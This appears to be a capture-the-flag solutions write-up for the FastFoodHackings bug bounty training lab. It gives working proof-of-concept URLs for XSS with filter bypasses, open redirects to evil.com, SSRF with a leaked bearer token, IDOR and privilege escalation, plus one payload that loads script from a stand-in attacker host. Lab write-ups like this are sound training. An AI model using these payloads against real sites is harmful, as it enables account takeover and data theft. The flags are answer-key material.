- 1. Reflective XSS
There is a reflective XSS vulnerability on the following endpoint:
http://bugbountytraining.com/fastfoodhackings/?from=javascript:alert(0)
which is executed when the user clicks "Login" and then when they click "Return to previous website". The FROM parameter can be found from reading custom-script.js which reveals const redirectUrl = urlParams.get('from').
- 2. Open URL Redirect
There is an Open URL redirect on the following endpoint:
http://bugbountytraining.com/fastfoodhackings/location.php?returnUrl=https://www.google.com/.
This can be found when navigating to location.php and browsing the HTML code, which shows <a href="#" id="returnUrl" style="display:none;">Go back >></a>. The use of returnUrl as an ID should be enough for an attacker to try this parameter.
- 3. Reflective XSS with bypass
There is an XSS vulnerability on the endpoint:
http://bugbountytraining.com/fastfoodhackings/index.php
located in the parameter act. When sending an invalid value it will be reflected in the HTML source, however there is an XSS filter in place. To bypass it the researcher needs to establish that as long as they don't end their HTML tag, it will work, as well as using new on{} event handlers which aren't filtered.
Examples of bypasses: ?act=logina--><img src=x onpointerrawupdate=prompt`0` id=""
?act=logina--><script src=//yoursite.com?c=
- 4. Obtaining valid credentials to login
When browsing the menu on FastFoodHackings located at http://bugbountytraining.com/fastfoodhackings/menu.php, a request is made to /api/loader.php?f=/reviews.php. The fact an URL is using a file (seen with the extension .php) should alert the researcher that something interesting is happening here.
From further analysis of the web application, researchers will find ?f=/generate-credentials inside the script.min.js file. Now upon visiting /api/loader.php?f=/generate-credentials, valid credentials will be created.
- 5. IDOR which reveals every users information
After logging in you will notice a request is made to
/fastfoodhackings/api/profile.php?id=6b863c23-7c82-46ce-946b-1e1e895db44e&data=bio
and at first glance, the ?id= parameter appears to be a GUID value, which can't typically be brute forced. However curious minds will soon learn that you can simply use an integer value (such as 1, 2) and it will happily accept these values, thus revealing other users information!
- 6. FLAG! IDOR which reveals IDOR information
On the homepage you will notice
/fastfoodhackings/api/invites.php
As a hacker you should begin to think about what other API endpoints there may be. The website is a restaurant, what do restaurant's take? Orders!
Visiting /api/orders.php will present you with an error. From trial and error you can work out that the parameter is ?order_id=. Querying ?order_id=1337 revealed a flag to gain membership for free.
- 7.IDOR which reveals IDOR information also vulnerable to XSS
Carrying on from the bug above, the order_id parameter is also vulnerable to XSS.
- 8. FLAG! Hunting through JS Files
On the homepage you will notice
https://bugbountytraining.com/assets/js/script.min.js
If you browse this .js file you can see var adToken =. Variables are useful, so save this. Next, if you found bug 4, then you'll also discover ?f=/admin returns content. Upon further inspection, you can see a reference to admin.php?adToken=. That's the value we found earlier!
Upon visiting https://www.bugbountytraining.com/fastfoodhackings/api/admin.php?adToken=c0f22cf8-96ea-4fbb-8805-ee4246095031 a flag was revealed.
- 9. FLAG! Being curious
If you found bug 4, then you'll also discover ?f=/flag returned a valid flag. Great job for being curious.
- 10. FLAG! True is the new false
If you visit the main homepage you can see the body tag has beta-false. Adding the cookie value beta=true will reveal a new tab called BETA: FoodHackers. You're on the right track!
Next if you investigate this page you can see an input with the name flag and value reveal=false. If you put the name AND value together, you get flagreveal=false, so simply change it to true and the flag was revealed!
- 11. Dom XSS found via https://bugbountytraining.com/assets/js/custom-script.js
In the custom-script.js there is a javascript function named getHashValue(). If you read the code, you can also see another parameter type is verified to check if it's value 1, and if yes, redirect to the value of from. Working POC: https://bugbountytraining.com/fastfoodhackings/?from=&type=1#redir=javascript:alert(0)
- 12. SSRF via https://bugbountytraining.com/fastfoodhackings/api/loader.php?f=
Sending a blank value to loader.php?f= will produce an error which exposes the URL Url: /internalapi/fetch.php?url= and Auth bearer, Authorization: Bearer FFHpr1v4t3k3y. Visit this URL with the auth token and set the ?url= parameter to http://127.0.0.1/ or http://localhost/ and you're able to hit internal services!
- 13. Open redirect on /go found via robots.txt
robots.txt exposes the endpoint /go which if visited will display an error about the return url parameter being invalid. From trial and error you can discover returnUrl parameter will redirect to any domain. Working POC: https://www.bugbountytraining.com/fastfoodhackings/go.php?returnUrl=//evil.com
- 14. XSS on /go.php when redirecting
If you discovered the bug above, you should notice #type=0 is appended on the redirect. If you revisit /go.php?returnUrl=//evil.com&type=0 but change 0 to 1, then you'll see the redirect method has changed and uses top.location.href. Working POC: https://www.bugbountytraining.com/fastfoodhackings/go.php?returnUrl=javascript:alert(0)//&type=1 or https://www.bugbountytraining.com/fastfoodhackings/go.php?returnUrl=%27-alert(0)-%27k&type=1 or https://www.bugbountytraining.com/fastfoodhackings/go.php?returnUrl=%3C/script%3E%3Csvg/onload=alert(0)%3E&type=1
- 15. FLAG! BattleOfTheHackers API Key Leaked
When fuzzing for content on FastFoodHackers based on keywords found, users will discover https://www.bugbountytraining.com/fastfoodhackings/api/battleofthehackers as it returns BattleOfTheHackers API. Curious minds will ask the internet if it knows anything about BattleOfTheHackers API. A google result yeilds nothing, but where else can you look? GitHub! Upon looking on GitHub, you will discover this: https://github.com/STOKFREDRlK/both/blob/ce461a85bf027e9ff90636e54548fbe13ce2363c/notes, which reveals "header" => "BOTH-KEY: 3d0fb972-fa1b-476b-9a73-1686ac818082\r\n". Using this key along with the correct notes id (index.php?query=notes&id=6ab4739565e4) would of revealed a flag.
- 16. FLAG! Security through obscurity, IDOR on confirmed.php
When making a booking on FastFoodHackings you will be redirected to confirmed.php. If you notice in the request you can see https://www.bugbountytraining.com/fastfoodhackings/confirmed.php?order_id=NDIwNjk= which if decoded gives us 42069. Querying for order IDs such as 42068, 42067 etc would reveal another users' booking information, as well as a unique flag.
- 17. Change role from USER to ADMIN and access admin.php
From discovering valid credentials on Bug ID 4, the user will notice that they are logged into an account saying "Standard User". This should signal to the user that perhaps other roles exist. Upon inspection of the yourprofile.php page, a GET request is made to /fastfoodhackings/api/profile.php?id=6b863c23-7c82-46ce-946b-1e1e895db44e&data=bio. If the request is changed to POST and the parameter role=admin is added, the user will be granted admin permissions. Upon further content discovery, users will then discover they can now access admin.php
- 18. Stored XSS on menu.php via cookie set on book.php
When browsing locations.php and inspecting the javascript code it will become clear to the user that certain code executes if the user is from United Kingdom. One key peice of information revealed that would be useful to a bug bounty hunter is this: book.php?promoCode=UKONLY. This is a new parameter discovered and upon visiting users will notice that a cookie is set. Upon further investigation of the web application, users will identify that the cookie parameter is reflected on menu.php. An attempt to prevent XSS was attempted, but it can be bypassed with something such as: https://www.bugbountytraining.com/fastfoodhackings/book.php?promoCode=%27;aalertlert(0);var%20ok=%27k. Once the cookie is set, if you then visit https://www.bugbountytraining.com/fastfoodhackings/menu.php you will see it executes.
- 19. Stored XSS on confirmed.php via booking date
When making a booking, the users NAME and EMAIL are sanitised from XSS, however the developer failed to verify a date was being provided and thus trusted the users input, resulting in XSS. When making a booking, if the user intercepts the request and sets date to 1990-12-12"><svg/onload=alert(0)> then upon visiting confirmed.php, XSS will execute.
Disclosed Hackevent Reports 
Disclosed HackerOne Reports 